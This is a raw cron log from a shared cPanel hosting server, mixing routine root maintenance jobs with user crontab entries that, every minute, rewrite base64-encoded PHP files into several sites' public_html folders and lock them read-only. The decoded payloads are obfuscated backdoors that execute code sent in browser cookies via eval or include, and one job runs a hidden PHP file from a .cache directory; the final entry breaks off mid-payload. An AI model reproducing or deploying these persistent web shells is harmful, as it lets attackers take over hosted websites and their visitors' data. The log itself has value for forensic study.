Mar  1 14:54:01 medusa CROND[9852]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:54:01 medusa CROND[9853]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:55:01 medusa CROND[2505]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:55:01 medusa CROND[2624]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 14:55:01 medusa CROND[2628]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 14:55:01 medusa CROND[2629]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:55:01 medusa CROND[2630]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:55:01 medusa CROND[2635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:55:01 medusa CROND[2636]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 14:55:01 medusa CROND[2639]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:55:01 medusa CROND[2640]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:55:01 medusa CROND[2641]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:55:01 medusa CROND[2637]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:55:01 medusa CROND[2643]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:55:01 medusa CROND[2648]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:55:01 medusa CROND[2650]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:55:01 medusa CROND[2652]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:55:01 medusa CROND[2645]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 14:55:01 medusa CROND[2657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:55:01 medusa CROND[2653]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 14:55:01 medusa CROND[2661]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:55:01 medusa CROND[2663]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:55:01 medusa CROND[2658]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:55:01 medusa CROND[2649]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:56:01 medusa CROND[27054]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:56:01 medusa CROND[27055]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:56:01 medusa CROND[27056]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:56:01 medusa CROND[27057]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:56:01 medusa CROND[27064]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:56:01 medusa CROND[27065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:56:01 medusa CROND[27066]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:56:01 medusa CROND[27067]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:56:01 medusa CROND[27068]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAk